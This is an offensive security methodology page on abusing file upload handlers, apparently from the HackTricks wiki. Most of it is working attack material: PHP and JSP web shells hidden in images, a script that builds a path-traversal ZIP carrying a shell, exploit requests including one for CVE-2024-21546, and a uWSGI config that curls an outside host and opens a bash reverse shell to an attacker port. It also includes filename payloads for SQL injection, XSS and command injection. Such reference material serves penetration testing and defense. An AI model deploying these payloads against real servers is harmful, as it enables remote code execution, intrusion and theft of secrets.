> ## Documentation Index
> Fetch the complete documentation index at: https://mintlify.com/HackTricks-wiki/hacktricks/llms.txt
> Use this file to discover all available pages before exploring further.

# File Upload Vulnerabilities

> Methodology for bypassing file upload restrictions, abusing upload functionality for RCE, and chaining file uploads with other vulnerabilities.

File upload functionality is a common attack vector. Misconfigured upload handlers can lead to RCE, XSS, XXE, SSRF, and more.

## Dangerous File Extensions

<AccordionGroup>
  <Accordion title="PHP">
    `.php`, `.php2`, `.php3`, `.php4`, `.php5`, `.php6`, `.php7`, `.phps`, `.pht`, `.phtm`, `.phtml`, `.pgif`, `.shtml`, `.htaccess`, `.phar`, `.inc`, `.hphp`, `.ctp`, `.module`

    **Working in PHPv8:** `.php`, `.php4`, `.php5`, `.phtml`, `.module`, `.inc`, `.hphp`, `.ctp`
  </Accordion>

  <Accordion title="ASP">
    `.asp`, `.aspx`, `.config`, `.ashx`, `.asmx`, `.aspq`, `.axd`, `.cshtm`, `.cshtml`, `.rem`, `.soap`, `.vbhtm`, `.vbhtml`, `.asa`, `.cer`, `.shtml`
  </Accordion>

  <Accordion title="JSP">
    `.jsp`, `.jspx`, `.jsw`, `.jsv`, `.jspf`, `.wss`, `.do`, `.action`
  </Accordion>

  <Accordion title="Other">
    Coldfusion: `.cfm`, `.cfml`, `.cfc`, `.dbm`\
    Perl: `.pl`, `.cgi`\
    Erlang Yaws: `.yaws`
  </Accordion>
</AccordionGroup>

## Bypass Extension Checks

<Steps>
  <Step title="Uppercase Variations">
    Try uppercase: `.pHp`, `.PHP5`, `.PhAr`
  </Step>

  <Step title="Double Extensions">
    * `file.png.php`
    * `file.png.Php5`
  </Step>

  <Step title="Special Characters at End">
    ```
    file.php%20
    file.php%0a
    file.php%00
    file.php/
    file.php.\\
    file.php....
    ```
  </Step>

  <Step title="Null Bytes / Junk Data Between Extensions">
    ```
    file.png.php
    file.php%00.png
    file.php\x00.png
    file.phpJunk123png
    ```
  </Step>

  <Step title="Reverse Extension Order">
    Some Apache misconfigurations execute anything with `.php` anywhere in the name:

    ```
    file.php.png
    ```
  </Step>

  <Step title="NTFS Alternate Data Streams (Windows)">
    ```
    file.asax:.jpg  (creates empty file with forbidden extension)
    file.asp::$data (creates non-empty file)
    ```
  </Step>
</Steps>

## Bypass Content-Type and Magic Bytes

```bash theme={null}
# Bypass Content-Type header check
Content-Type: image/png

# Bypass magic number check (prepend real image bytes)
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg

# Embed in PNG PLTE chunk (survives compression)
# See: https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs

# Append PHP shell to PNG
echo '<?php system($_REQUEST["cmd"]); ?>' >> img.png
```

## Trailing Dot Bypass (CVE-2024-21546 - UniSharp LFM)

In UniSharp Laravel Filemanager \< 2.9.1, uploading `shell.php.` causes the server to strip the trailing dot and save `shell.php`:

```http theme={null}
POST /profile/avatar HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png

\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--
```

## ZIP/Archive Attacks

<Tabs>
  <Tab title="Symlink in ZIP">
    ```bash theme={null}
    ln -s ../../../index.php symindex.txt
    zip --symlinks test.zip symindex.txt
    # Accessing extracted symindex.txt reads index.php
    ```
  </Tab>

  <Tab title="Path Traversal in ZIP">
    ```python theme={null}
    import zipfile
    from io import BytesIO

    def create_zip():
        f = BytesIO()
        z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
        z.writestr('../../../../../var/www/html/webserver/shell.php',
                   '<?php echo system($_REQUEST["cmd"]); ?>')
        z.close()
        with open('poc.zip', 'wb') as zip:
            zip.write(f.getvalue())
    create_zip()
    ```
  </Tab>

  <Tab title="NUL-Byte Filename Smuggling">
    When PHP's ZipArchive truncates at NUL but the filesystem writes the full name:

    ```bash theme={null}
    # 1) Create zip with shell.php..pdf
    cp embedded.pdf shell.php..pdf
    zip null.zip shell.php..pdf

    # 2) Hex-edit: replace '.' after .php with 0x00
    # Result: ZipArchive sees .pdf but extractor writes shell.php
    ```
  </Tab>

  <Tab title="Stacked ZIPs">
    ```bash theme={null}
    # Validation reads first archive, extraction uses last EOCD
    cat benign.zip evil.zip > combined.zip
    ```
  </Tab>
</Tabs>

## GZIP Upload + Path Traversal (Tomcat JSP)

```http theme={null}
POST /fileupload?token=..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2fjsp%2F&file=shell.jsp HTTP/1.1
Content-Type: application/octet-stream
Content-Encoding: gzip

<gzip-compressed-bytes-of-your-jsp>
```

Then trigger:

```
GET /jsp/shell.jsp?cmd=id
```

## uWSGI Configuration File RCE

If you can upload a `.ini` file to a uWSGI server:

```ini theme={null}
[uwsgi]
; read from process stdout
body = @(exec://curl http://collaborator-unique-host.oastify.com)
; also: @(exec://bash -c 'bash -i >& /dev/tcp/attacker/4444 0>&1')
```

## Content-Type Confusion → Arbitrary File Read

Some upload handlers trust parsed request body and copy `file.filepath` without enforcing multipart:

```http theme={null}
POST /form/vulnerable-form HTTP/1.1
Content-Type: application/json

{
  "files": {
    "document": {
      "filepath": "/proc/self/environ",
      "mimetype": "image/png",
      "originalFilename": "x.png"
    }
  }
}
```

## wget Filename Truncation Bypass

wget truncates filenames at 236 characters. Name your file `A*232 + ".php" + ".gif"` to bypass extension checks while wget saves it as `.php`:

```bash theme={null}
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080

# wget automatically shortens to .php
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
```

## Polyglot Files

Polyglot files are valid in multiple formats simultaneously (e.g., GIFAR = GIF + RAR). They bypass MIME type checks while containing malicious code.

## Vulnerability Chaining

<CardGroup cols={2}>
  <Card title="Path Traversal" icon="folder">
    Set filename to `../../../tmp/lol.png`
  </Card>

  <Card title="SQL Injection" icon="database">
    Set filename to `sleep(10)-- -.jpg`
  </Card>

  <Card title="XSS" icon="bug">
    Set filename to `<svg onload=alert(document.domain)>`
  </Card>

  <Card title="Command Injection" icon="terminal">
    Set filename to `; sleep 10;`
  </Card>

  <Card title="XXE via SVG" icon="code">
    Upload SVG with external entity references
  </Card>

  <Card title="SSRF" icon="server">
    Upload files that trigger server-side URL fetches
  </Card>
</CardGroup>

## Magic Header Bytes Reference

```
PNG:  \x89PNG\r\n\x1a\n\0\0\0\rIHDR
JPG:  \xff\xd8\xff
GIF:  GIF87a or GIF89a
PDF:  %PDF-
ZIP:  PK\x03\x04
```

## Tools

* [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) — Automated upload bypass testing
* [Burp Upload Scanner](https://github.com/portswigger/upload-scanner) — Burp extension
* [fuxploider](https://github.com/almandin/fuxploider) — File upload fuzzer
